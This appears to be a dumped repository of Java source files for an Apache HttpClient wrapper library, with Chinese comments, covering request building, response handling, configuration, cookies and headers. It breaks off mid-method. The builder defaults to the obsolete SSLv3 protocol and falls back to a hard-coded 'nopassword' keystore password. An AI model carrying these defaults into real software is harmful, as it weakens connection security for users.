{\n\t\tcreate(config);//获取链接\n\t\tHttpResponse resp = null;\n\n\t\ttry {\n\t\t\t//创建请求对象\n\t\t\tHttpRequestBase request = getRequest(config.url(), config.method());\n\t\t\t\n\t\t\t//设置超时\n\t\t\trequest.setConfig(config.requestConfig());\n\t\t\t\n\t\t\t//设置header信息\n\t\t\trequest.setHeaders(config.headers());\n\t\t\t\n\t\t\t//判断是否支持设置entity(仅HttpPost、HttpPut、HttpPatch支持)\n\t\t\tif(HttpEntityEnclosingRequestBase.class.isAssignableFrom(request.getClass())){\n\t\t\t\tList<NameValuePair> nvps = new ArrayList<NameValuePair>();\n\t\t\t\t\n\t\t\t\tif(request.getClass()==HttpGet.class) {\n\t\t\t\t\t//检测url中是否存在参数\n\t\t\t\t\t//注：只有get请求，才自动截取url中的参数，post等其他方式，不再截取\n\t\t\t\t\tconfig.url(Utils.checkHasParas(config.url(), nvps, config.inenc()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//装填参数\n\t\t\t\tHttpEntity entity = Utils.map2HttpEntity(nvps, config.map(), config.inenc());\n\t\t\t\t\n\t\t\t\t//设置参数到请求对象中\n\t\t\t\t((HttpEntityEnclosingRequestBase)request).setEntity(entity);\n\t\t\t\t\n\t\t\t\tUtils.info(\"请求地址：\"+config.url());\n\t\t\t\tif(nvps.size()>0){\n\t\t\t\t\tUtils.info(\"请求参数：\"+nvps.toString());\n\t\t\t\t}\n\t\t\t\tif(config.json()!=null){\n\t\t\t\t\tUtils.info(\"请求参数：\"+config.json());\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tint idx = config.url().indexOf(\"?\");\n\t\t\t\tUtils.info(\"请求地址：\"+config.url().substring(0, (idx>0 ? idx : config.url().length())));\n\t\t\t\tif(idx>0){\n\t\t\t\t\tUtils.info(\"请求参数：\"+config.url().substring(idx+1));\n\t\t\t\t}\n\t\t\t}\n\t\t\t//执行请求操作，并拿到结果（同步阻塞）\n\t\t\tresp = (config.context()==null)?config.client().execute(request) : config.client().execute(request, config.context()) ;\n\n\t\t\tif(config.isReturnRespHeaders()){\n\t\t\t\t//获取所有response的header信息\n\t\t\t\tconfig.headers(resp.getAllHeaders());\n\t\t\t}\n\t\t\t\n\t\t\t//获取结果实体\n\t\t\treturn resp;\n\t\t\t\n\t\t} catch (IOException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t}\n\t}\n\t\n\t//-----------华----丽----分----割----线--------------\n\t//-----------华----丽----分----割----线--------------\n\t//-----------华----丽----分----割----线--------------\n\t\n\t/**\n\t * 转化为字符串\n\t * \n\t * @param resp\t\t\t响应对象\n\t * @param encoding\t\t编码\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tprivate static String fmt2String(HttpResponse resp, String encoding) throws HttpProcessException {\n\t\tString body = \"\";\n\t\ttry {\n\t\t\tif (resp.getEntity() != null) {\n\t\t\t\t// 按指定编码转换结果实体为String类型\n\t\t\t\tbody = EntityUtils.toString(resp.getEntity(), encoding);\n\t\t\t\tUtils.info(body);\n\t\t\t}else{//有可能是head请求\n\t\t\t\tbody =resp.getStatusLine().toString();\n\t\t\t}\n\t\t\tEntityUtils.consume(resp.getEntity());\n\t\t} catch (IOException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t}finally{\t\t\t\n\t\t\tclose(resp);\n\t\t}\n\t\treturn body;\n\t}\n\t\n\t/**\n\t * 转化为数字\n\t * \n\t * @param resp\t\t\t响应对象\n\t * @return\t\t\t\t返回处理结果\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tprivate static int fmt2Int(HttpResponse resp) throws HttpProcessException {\n\t\tint statusCode;\n\t\ttry {\n\t\t\tstatusCode = resp.getStatusLine().getStatusCode();\n\t\t\tEntityUtils.consume(resp.getEntity());\n\t\t} catch (IOException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t}finally{\t\t\t\n\t\t\tclose(resp);\n\t\t}\n\t\treturn statusCode;\n\t}\n\t\n\t/**\n\t * 转化为流\n\t * \n\t * @param resp\t\t\t响应对象\n\t * @param out\t\t\t输出流\n\t * @return\t\t\t\t返回输出流\n\t * @throws HttpProcessException\thttp处理异常 \n\t */\n\tpublic static OutputStream fmt2Stream(HttpResponse resp, OutputStream out) throws HttpProcessException {\n\t\ttry {\n\t\t\tresp.getEntity().writeTo(out);\n\t\t\tEntityUtils.consume(resp.getEntity());\n\t\t} catch (IOException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t}finally{\n\t\t\tclose(resp);\n\t\t}\n\t\treturn out;\n\t}\n\t\n\t/**\n\t * 根据请求方法名，获取request对象\n\t * \n\t * @param url\t\t\t资源地址\n\t * @param method\t\t请求方式\n\t * @return\t\t\t\t返回Http处理request基类\n\t */\n\tprivate static HttpRequestBase getRequest(String url, HttpMethods method) {\n\t\tHttpRequestBase request = null;\n\t\tswitch (method.getCode()) {\n\t\t\tcase 0:// HttpGet\n\t\t\t\trequest = new HttpGet(url);\n\t\t\t\tbreak;\n\t\t\tcase 1:// HttpPost\n\t\t\t\trequest = new HttpPost(url);\n\t\t\t\tbreak;\n\t\t\tcase 2:// HttpHead\n\t\t\t\trequest = new HttpHead(url);\n\t\t\t\tbreak;\n\t\t\tcase 3:// HttpPut\n\t\t\t\trequest = new HttpPut(url);\n\t\t\t\tbreak;\n\t\t\tcase 4:// HttpDelete\n\t\t\t\trequest = new HttpDelete(url);\n\t\t\t\tbreak;\n\t\t\tcase 5:// HttpTrace\n\t\t\t\trequest = new HttpTrace(url);\n\t\t\t\tbreak;\n\t\t\tcase 6:// HttpPatch\n\t\t\t\trequest = new HttpPatch(url);\n\t\t\t\tbreak;\n\t\t\tcase 7:// HttpOptions\n\t\t\t\trequest = new HttpOptions(url);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\trequest = new HttpPost(url);\n\t\t\t\tbreak;\n\t\t}\n\t\treturn request;\n\t}\n\t\n\t/**\n\t * 尝试关闭response\n\t * \n\t * @param resp\t\t\t\tHttpResponse对象\n\t */\n\tprivate static void close(HttpResponse resp) {\n\t\ttry {\n\t\t\tif(resp == null) return;\n\t\t\t//如果CloseableHttpResponse 是resp的父类，则支持关闭\n\t\t\tif(CloseableHttpResponse.class.isAssignableFrom(resp.getClass())){\n\t\t\t\t((CloseableHttpResponse)resp).close();\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/builder/HCB.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.builder;\n\nimport java.io.IOException;\nimport java.io.InterruptedIOException;\nimport java.net.UnknownHostException;\n\nimport javax.net.ssl.SSLException;\nimport javax.net.ssl.SSLHandshakeException;\n\nimport org.apache.http.HttpEntityEnclosingRequest;\nimport org.apache.http.HttpHost;\nimport org.apache.http.HttpRequest;\nimport org.apache.http.NoHttpResponseException;\nimport org.apache.http.client.HttpRequestRetryHandler;\nimport org.apache.http.client.config.RequestConfig;\nimport org.apache.http.client.protocol.HttpClientContext;\nimport org.apache.http.config.Registry;\nimport org.apache.http.config.RegistryBuilder;\nimport org.apache.http.conn.ConnectTimeoutException;\nimport org.apache.http.conn.socket.ConnectionSocketFactory;\nimport org.apache.http.conn.socket.PlainConnectionSocketFactory;\nimport org.apache.http.impl.client.HttpClientBuilder;\nimport org.apache.http.impl.conn.DefaultProxyRoutePlanner;\nimport org.apache.http.impl.conn.PoolingHttpClientConnectionManager;\nimport org.apache.http.protocol.HttpContext;\n\nimport com.jun.plugin.httpclient.httpclientutil.common.SSLs;\nimport com.jun.plugin.httpclient.httpclientutil.common.SSLs.SSLProtocolVersion;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/**\n * httpclient创建者\n * \n * @author arron\n * @version 1.0\n */\npublic class  HCB extends HttpClientBuilder{\n\t\n\tpublic boolean isSetPool=false;//记录是否设置了连接池\n\tprivate SSLProtocolVersion sslpv=SSLProtocolVersion.SSLv3;//ssl 协议版本\n\t\n\t//用于配置ssl\n\tprivate SSLs ssls = SSLs.getInstance();\n\t\n\tprivate HCB(){}\n\tpublic static HCB custom(){\n\t\treturn new HCB();\n\t}\n\n\t/**\n\t * 设置超时时间\n\t * \n\t * @param timeout\t\t超市时间，单位-毫秒\n\t * @return\t返回当前对象\n\t */\n\t@Deprecated\n\tpublic HCB timeout(int timeout){\n\t\treturn timeout(timeout, true);\n\t}\n\t\n\t/**\n\t * 设置超时时间以及是否允许网页重定向（自动跳转 302）\n\t * \n\t * @param timeout\t\t超时时间，单位-毫秒\n\t * @param redirectEnable\t\t自动跳转\n\t * @return\t返回当前对象\n\t */\n\t@Deprecated\n\tpublic HCB timeout(int timeout,  boolean redirectEnable){\n\t\t// 配置请求的超时设置\n\t\tRequestConfig config = RequestConfig.custom()\n\t\t\t\t.setConnectionRequestTimeout(timeout)\n\t\t\t\t.setConnectTimeout(timeout)\n\t\t\t\t.setSocketTimeout(timeout)\n\t\t\t\t.setRedirectsEnabled(redirectEnable)\n\t\t\t\t.build();\n\t\treturn (HCB) this.setDefaultRequestConfig(config);\n\t}\n\t\n\t/**\n\t * 设置ssl安全链接\n\t * \n\t * @return\t返回当前对象\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic HCB ssl() throws HttpProcessException {\n//\t\tif(isSetPool){//如果已经设置过线程池，那肯定也就是https链接了\n//\t\t\tif(isNewSSL){\n//\t\t\t\tthrow new HttpProcessException(\"请先设置ssl，后设置pool\");\n//\t\t\t}\n//\t\t\treturn this;\n//\t\t}\n//\t\tRegistry<ConnectionSocketFactory> socketFactoryRegistry = RegistryBuilder\n//\t\t\t\t.<ConnectionSocketFactory> create()\n//\t\t\t\t.register(\"http\", PlainConnectionSocketFactory.INSTANCE)\n//\t\t\t\t.register(\"https\", ssls.getSSLCONNSF()).build();\n//\t\t//设置连接池大小\n//\t\tPoolingHttpClientConnectionManager connManager = new PoolingHttpClientConnectionManager(socketFactoryRegistry);\n//\t\treturn (HCB) this.setConnectionManager(connManager);\n\t\treturn (HCB) this.setSSLSocketFactory(ssls.getSSLCONNSF(sslpv));\n\t}\n\t\n\n\t/**\n\t * 设置自定义sslcontext\n\t * \n\t * @param keyStorePath\t\t密钥库路径\n\t * @return\t返回当前对象\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic HCB ssl(String keyStorePath) throws HttpProcessException{\n\t\treturn ssl(keyStorePath,\"nopassword\");\n\t}\n\t/**\n\t * 设置自定义sslcontext\n\t * \n\t * @param keyStorePath\t\t密钥库路径\n\t * @param keyStorepass\t\t密钥库密码\n\t * @return\t返回当前对象\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic HCB ssl(String keyStorePath, String keyStorepass) throws HttpProcessException{\n\t\tthis.ssls = SSLs.custom().customSSL(keyStorePath, keyStorepass);\n//\t\tthis.isNewSSL=true;\n\t\treturn ssl();\n\t}\n\t\n\t\n\t/**\n\t * 设置连接池（默认开启https）\n\t * \n\t * @param maxTotal\t\t\t\t\t最大连接数\n\t * @param defaultMaxPerRoute\t每个路由默认连接数\n\t * @return\t返回当前对象\n\t * @throws HttpProcessException\thttp处理异常\n\t */\n\tpublic HCB pool(int maxTotal, int defaultMaxPerRoute) throws HttpProcessException{\n\t\tRegistry<ConnectionSocketFactory> socketFactoryRegistry = RegistryBuilder\n\t\t\t\t.<ConnectionSocketFactory> create()\n\t\t\t\t.register(\"http\", PlainConnectionSocketFactory.INSTANCE)\n\t\t\t\t.register(\"https\", ssls.getSSLCONNSF(sslpv)).build();\n\t\t//设置连接池大小\n\t\tPoolingHttpClientConnectionManager connManager = new PoolingHttpClientConnectionManager(socketFactoryRegistry);\n\t\tconnManager.setMaxTotal(maxTotal);// Increase max total connection to $maxTotal\n\t\tconnManager.setDefaultMaxPerRoute(defaultMaxPerRoute);// Increase default max connection per route to $defaultMaxPerRoute\n\t\t//connManager.setMaxPerRoute(route, max);// Increase max connections for $route(eg：localhost:80) to 50\n\t\tisSetPool=true;\n\t\treturn (HCB) this.setConnectionManager(connManager);\n\t}\n\t\n\t/**\n\t * 设置代理\n\t * \n\t * @param hostOrIP\t\t代理host或者ip\n\t * @param port\t\t\t代理端口\n\t * @return\t返回当前对象\n\t */\n\tpublic HCB proxy(String hostOrIP, int port){\n\t\t// 依次是代理地址，代理端口号，协议类型  \n\t\tHttpHost proxy = new HttpHost(hostOrIP, port, \"http\");  \n\t\tDefaultProxyRoutePlanner routePlanner = new DefaultProxyRoutePlanner(proxy);\n\t\treturn (HCB) this.setRoutePlanner(routePlanner);\n\t}\n\t\n\t/**\n\t * 重试（如果请求是幂等的，就再次尝试）\n\t * \n\t * @param tryTimes\t\t重试次数\n\t * @return\t返回当前对象\n\t */\n\tpublic HCB retry(final int tryTimes){\n\t\treturn retry(tryTimes, false);\n\t}\n\t\n\t/**\n\t * 重试（如果请求是幂等的，就再次尝试）\n\t * \n\t * @param tryTimes\t\t\t\t\t\t重试次数\n\t * @param retryWhenInterruptedIO\t\t连接拒绝时，是否重试\n\t * @return\t返回当前对象\n\t */\n\tpublic HCB retry(final int tryTimes, final boolean retryWhenInterruptedIO){\n\t\t// 请求重试处理\n\t    HttpRequestRetryHandler httpRequestRetryHandler = new HttpRequestRetryHandler() {\n\t        public boolean retryRequest(IOException exception, int executionCount, HttpContext context) {\n\t            if (executionCount >= tryTimes) {// 如果已经重试了n次，就放弃\n\t                return false;\n\t            }\n\t            if (exception instanceof NoHttpResponseException) {// 如果服务器丢掉了连接，那么就重试\n\t                return true;\n\t            }\n\t            if (exception instanceof SSLHandshakeException) {// 不要重试SSL握手异常\n\t                return false;\n\t            }\n\t            if (exception instanceof InterruptedIOException) {// 超时\n\t                //return false;\n\t                return retryWhenInterruptedIO;\n\t            }\n\t            if (exception instanceof UnknownHostException) {// 目标服务器不可达\n\t                return true;\n\t            }\n\t            if (exception instanceof ConnectTimeoutException) {// 连接被拒绝\n\t            \treturn false;\n\t            }\n\t            if (exception instanceof SSLException) {// SSL握手异常\n\t                return false;\n\t            }\n\n\t            HttpClientContext clientContext = HttpClientContext .adapt(context);\n\t            HttpRequest request = clientContext.getRequest();\n\t            // 如果请求是幂等的，就再次尝试\n\t            if (!(request instanceof HttpEntityEnclosingRequest)) {\n\t                return true;\n\t            }\n\t            return false;\n\t        }\n\t    };\n\t    this.setRetryHandler(httpRequestRetryHandler);\n\t    return this;\n\t}\n\t\n\t/**\n\t * 设置ssl版本<br>\n\t * 如果您想要设置ssl版本，必须<b><span style=\"color:red\">先调用此方法，再调用ssl方法</span><br>\n\t * 仅支持 SSLv3，TSLv1，TSLv1.1，TSLv1.2</b>\n\t * @param sslpv\t版本号\n\t * @return\t返回当前对象\n\t */\n\tpublic HCB sslpv(String sslpv){\n\t\treturn sslpv(SSLProtocolVersion.find(sslpv));\n\t}\n\t/**\n\t * 设置ssl版本<br>\n\t * 如果您想要设置ssl版本，必须<b>先调用此方法，再调用ssl方法<br>\n\t * 仅支持 SSLv3，TSLv1，TSLv1.1，TSLv1.2</b>\n\t * @param sslpv\t版本号\n\t * @return\t返回当前对象\n\t */\n\tpublic HCB sslpv(SSLProtocolVersion sslpv){\n\t\tthis.sslpv = sslpv;\n\t\treturn this;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/HttpConfig.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common;\n\nimport java.io.OutputStream;\nimport java.nio.charset.Charset;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.http.Header;\nimport org.apache.http.client.HttpClient;\nimport org.apache.http.client.config.RequestConfig;\nimport org.apache.http.protocol.HttpContext;\n\n//import com.tgb.ccl.http.exception.HttpProcessException;\n//import com.tgb.ccl.http.httpclient.builder.HCB;\n\n/** \n * 请求配置类\n * \n * @author arron\n * @version 1.0 \n */\npublic class HttpConfig {\n\t\n\tprivate HttpConfig(){};\n\t\n\t/**\n\t * 获取实例\n\t * @return\t返回当前对象\n\t */\n\tpublic static HttpConfig custom(){\n\t\treturn new HttpConfig();\n\t}\n\n\t/**\n\t * HttpClient对象\n\t */\n\tprivate HttpClient client;\n\t\n\t/**\n\t * Header头信息\n\t */\n\tprivate Header[] headers;\n\t\n\t/**\n\t * 是否返回response的headers\n\t */\n\tprivate boolean isReturnRespHeaders;\n\n\t/**\n\t * 请求方法\n\t */\n\tprivate HttpMethods method=HttpMethods.GET;\n\t\n\t/**\n\t * 请求方法名称\n\t */\n\tprivate String methodName;\n\n\t/**\n\t * 用于cookie操作\n\t */\n\tprivate HttpContext context;\n\n\t/**\n\t * 传递参数\n\t */\n//\tprivate Map<String, Object> map;\n\t\n\t/**\n\t * 以json格式作为输入参数\n\t */\n\tprivate String json;\n\n\t/**\n\t * 输入输出编码\n\t */\n\tprivate String encoding=Charset.defaultCharset().displayName();\n\n\t/**\n\t * 输入编码\n\t */\n\tprivate String inenc;\n\n\t/**\n\t * 输出编码\n\t */\n\tprivate String outenc;\n\t\n\t/**\n\t * 设置RequestConfig\n\t */\n\tprivate RequestConfig requestConfig;\n\n\t/**\n\t * 解决多线程下载时，strean被close的问题\n\t */\n\tprivate static final ThreadLocal<OutputStream> outs = new ThreadLocal<OutputStream>();\t\n\t\n\t/**\n\t * 解决多线程处理时，url被覆盖问题\n\t */\n\tprivate static final ThreadLocal<String> urls = new ThreadLocal<String>();\t\n\t\n\t/**\n\t * 解决多线程处理时，url被覆盖问题\n\t */\n\tprivate static final ThreadLocal<Map<String,Object>> maps = new ThreadLocal<Map<String,Object>>();\t\n\t\n\t/**\n\t * @param client\tHttpClient对象\n\t * @return 返回当前对象\n\t */\n\tpublic HttpConfig client(HttpClient client) {\n\t\tthis.client = client;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param url\t资源url\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig url(String url) {\n\t\turls.set(url);\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param headers\tHeader头信息\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig headers(Header[] headers) {\n\t\tthis.headers = headers;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * Header头信息(是否返回response中的headers)\n\t * \n\t * @param headers\tHeader头信息\n\t * @param isReturnRespHeaders\t是否返回response中的headers\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig headers(Header[] headers, boolean isReturnRespHeaders) {\n\t\tthis.headers = headers;\n\t\tthis.isReturnRespHeaders=isReturnRespHeaders;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param method\t请求方法\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig method(HttpMethods method) {\n\t\tthis.method = method;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param methodName\t请求方法\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig methodName(String methodName) {\n\t\tthis.methodName = methodName;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param context\tcookie操作相关\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig context(HttpContext context) {\n\t\tthis.context = context;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param map\t传递参数\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig map(Map<String, Object> map) {\n//\t\tsynchronized (getClass()) {\n//\t\t\tif(this.map==null || map==null){\n//\t\t\t\tthis.map = map;\n//\t\t\t}else {\n//\t\t\t\tthis.map.putAll(map);;\n//\t\t\t}\n//\t\t}\n\t\tMap<String, Object> m = maps.get();\n\t\tif(m==null || m==null || map==null){\n\t\t\tm = map;\n\t\t}else {\n\t\t\tm.putAll(map);\n\t\t}\n\t\tmaps.set(m);\n\t\treturn this;\n\t}\n\n\t/**\n\t * @param json\t以json格式字符串作为参数\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig json(String json) {\n\t\tthis.json = json;\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tmap.put(Utils.ENTITY_JSON, json);\n\t\tmaps.set(map);\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param filePaths\t待上传文件所在路径\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig files(String[] filePaths) {\n\t\treturn files(filePaths, \"file\");\n\t}\n\t/**\n\t * 上传文件时用到\n\t * @param filePaths\t待上传文件所在路径\n\t * @param inputName\t即file input 标签的name值，默认为file\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig files(String[] filePaths, String inputName) {\n\t\treturn files(filePaths, inputName, false);\n\t}\n\t/**\n\t * 上传文件时用到\n\t * @param filePaths\t\t待上传文件所在路径\n\t * @param inputName\t\t即file input 标签的name值，默认为file\n\t * @param forceRemoveContentTypeChraset\t是否强制一处content-type中设置的编码类型\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig files(String[] filePaths, String inputName, boolean forceRemoveContentTypeChraset) {\n//\t\tsynchronized (getClass()) {\n//\t\t\tif(this.map==null){\n//\t\t\t\tthis.map= new HashMap<String, Object>();\n//\t\t\t}\n//\t\t}\n//\t\tmap.put(Utils.ENTITY_MULTIPART, filePaths);\n//\t\tmap.put(Utils.ENTITY_MULTIPART+\".name\", inputName);\n//\t\tmap.put(Utils.ENTITY_MULTIPART+\".rmCharset\", forceRemoveContentTypeChraset);\n\n\t\tMap<String, Object> m = maps.get();\n\t\tif(m==null || m==null){\n\t\t\tm = new HashMap<String, Object>();\n\t\t}\n\t\tm.put(Utils.ENTITY_MULTIPART, filePaths);\n\t\tm.put(Utils.ENTITY_MULTIPART+\".name\", inputName);\n\t\tm.put(Utils.ENTITY_MULTIPART+\".rmCharset\", forceRemoveContentTypeChraset);\n\t\tmaps.set(m);\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param encoding\t输入输出编码\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig encoding(String encoding) {\n\t\t//设置输入输出\n\t\tinenc(encoding);\n\t\toutenc(encoding);\n\t\tthis.encoding = encoding;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param inenc\t输入编码\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig inenc(String inenc) {\n\t\tthis.inenc = inenc;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param outenc\t输出编码\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig outenc(String outenc) {\n\t\tthis.outenc = outenc;\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * @param out\t输出流对象\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig out(OutputStream out) {\n\t\touts.set(out);\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 设置超时时间\n\t * \n\t * @param timeout\t\t超市时间，单位-毫秒\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig timeout(int timeout){\n\t\treturn timeout(timeout, true);\n\t}\n\t\n\t/**\n\t * 设置超时时间以及是否允许网页重定向（自动跳转 302）\n\t * \n\t * @param timeout\t\t超时时间，单位-毫秒\n\t * @param redirectEnable\t\t自动跳转\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig timeout(int timeout,  boolean redirectEnable){\n\t\t// 配置请求的超时设置\n\t\tRequestConfig config = RequestConfig.custom()\n\t\t\t\t.setConnectionRequestTimeout(timeout)\n\t\t\t\t.setConnectTimeout(timeout)\n\t\t\t\t.setSocketTimeout(timeout)\n\t\t\t\t.setRedirectsEnabled(redirectEnable)\n\t\t\t\t.build();\n\t\treturn timeout(config);\n\t}\n\t\n\t/**\n\t * 设置代理、超时时间、允许网页重定向等\n\t * \n\t * @param requestConfig\t\t超时时间，单位-毫秒\n\t * @return\t返回当前对象\n\t */\n\tpublic HttpConfig timeout(RequestConfig requestConfig){\n\t\tthis.requestConfig = requestConfig;\n\t\treturn this;\n\t}\n\t\n\tpublic HttpClient client() {\n\t\treturn client;\n\t}\n\t\n\tpublic Header[] headers() {\n\t\treturn headers;\n\t}\n\tpublic boolean isReturnRespHeaders() {\n\t\treturn isReturnRespHeaders;\n\t}\n\t\n\tpublic String url() {\n\t\treturn urls.get();\n\t}\n\n\tpublic HttpMethods method() {\n\t\treturn method;\n\t}\n\n\tpublic String methodName() {\n\t\treturn methodName;\n\t}\n\n\tpublic HttpContext context() {\n\t\treturn context;\n\t}\n\n\tpublic Map<String, Object> map() {\n//\t\treturn map;\n\t\treturn maps.get();\n\t}\n\n\tpublic String json() {\n\t\treturn json;\n\t}\n\t\n\tpublic String encoding() {\n\t\treturn encoding;\n\t}\n\n\tpublic String inenc() {\n\t\treturn inenc == null ? encoding : inenc;\n\t}\n\n\tpublic String outenc() {\n\t\treturn outenc == null ? encoding : outenc;\n\t}\n\n\tpublic OutputStream out() {\n\t\treturn outs.get();\n\t}\n\n\tpublic RequestConfig requestConfig() {\n\t\treturn requestConfig;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/HttpCookies.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common;\n\nimport org.apache.http.client.CookieStore;\nimport org.apache.http.client.protocol.HttpClientContext;\nimport org.apache.http.impl.client.BasicCookieStore;\n\n/** \n * 封装Cookie\n * \n * @author arron\n * @version 1.0 \n */\npublic class HttpCookies {\n\n\t/**\n\t * 使用httpcontext，用于设置和携带Cookie\n\t */\n\tprivate HttpClientContext context ;\n\t\n\t/**\n\t * 储存Cookie\n\t */\n\tprivate CookieStore cookieStore;\n\t\n\tpublic static HttpCookies custom(){\n\t\treturn new HttpCookies();\n\t}\n\t\n\tprivate HttpCookies(){\n\t\tthis.context = new HttpClientContext();\n\t\tthis.cookieStore = new BasicCookieStore();\n\t\tthis.context.setCookieStore(cookieStore);\n\t}\n\t\n\tpublic HttpClientContext getContext() {\n\t\treturn context;\n\t}\n\t\n\tpublic HttpCookies setContext(HttpClientContext context) {\n\t\tthis.context = context;\n\t\treturn this;\n\t}\n\t\n\tpublic CookieStore getCookieStore() {\n\t\treturn cookieStore;\n\t}\n\t\n\tpublic HttpCookies setCookieStore(CookieStore cookieStore) {\n\t\tthis.cookieStore = cookieStore;\n\t\treturn this;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/HttpHeader.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.http.Consts;\nimport org.apache.http.Header;\nimport org.apache.http.message.BasicHeader;\n\n/**\n * 创建HttpReqHead\n * \n * @author arron\n * @version 1.0\n */\npublic class HttpHeader {\n\n\tprivate HttpHeader() {};\n\n\tpublic static HttpHeader custom() {\n\t\treturn new HttpHeader();\n\t}\n\n\t//记录head头信息\n\tprivate Map<String, Header> headerMaps = new HashMap<String, Header>();\n\t\n\t/**\n\t * 自定义header头信息\n\t * \n\t * @param key\theader-key\n\t * @param value\theader-value\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader other(String key, String value) {\n\t\theaderMaps.put(key, new BasicHeader(key, value));\n\t\treturn this;\n\t}\n\t/**\n\t * 指定客户端能够接收的内容类型\n\t * 例如：Accept: text/plain, text/html\n\t * \n\t * @param accept accept\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader accept(String accept) {\n\t\theaderMaps.put(HttpReqHead.ACCEPT,\n\t\t\t\tnew BasicHeader(HttpReqHead.ACCEPT, accept));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 浏览器可以接受的字符编码集\n\t * 例如：Accept-Charset: iso-8859-5\n\t * \n\t * @param acceptCharset accept-charset\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader acceptCharset(String acceptCharset) {\n\t\theaderMaps.put(HttpReqHead.ACCEPT_CHARSET,\n\t\t\t\tnew BasicHeader(HttpReqHead.ACCEPT_CHARSET, acceptCharset));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 指定浏览器可以支持的web服务器返回内容压缩编码类型\n\t * 例如：Accept-Encoding: compress, gzip\n\t * \n\t * @param acceptEncoding accept-encoding\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader acceptEncoding(String acceptEncoding) {\n\t\theaderMaps.put(HttpReqHead.ACCEPT_ENCODING,\n\t\t\t\tnew BasicHeader(HttpReqHead.ACCEPT_ENCODING, acceptEncoding));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 浏览器可接受的语言\n\t * 例如：Accept-Language: en,zh\n\t * \n\t * @param acceptLanguage accept-language\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader acceptLanguage(String acceptLanguage) {\n\t\theaderMaps.put(HttpReqHead.ACCEPT_LANGUAGE,\n\t\t\t\tnew BasicHeader(HttpReqHead.ACCEPT_LANGUAGE, acceptLanguage));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 可以请求网页实体的一个或者多个子范围字段\n\t * 例如：Accept-Ranges: bytes\n\t * \n\t * @param acceptRanges accept-ranges\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader acceptRanges(String acceptRanges) {\n\t\theaderMaps.put(HttpReqHead.ACCEPT_RANGES,\n\t\t\t\tnew BasicHeader(HttpReqHead.ACCEPT_RANGES, acceptRanges));\n\t\treturn this;\n\t}\n\n\t/**\n\t * HTTP授权的授权证书\n\t * 例如：Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\n\t * \n\t * @param authorization authorization\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader authorization(String authorization) 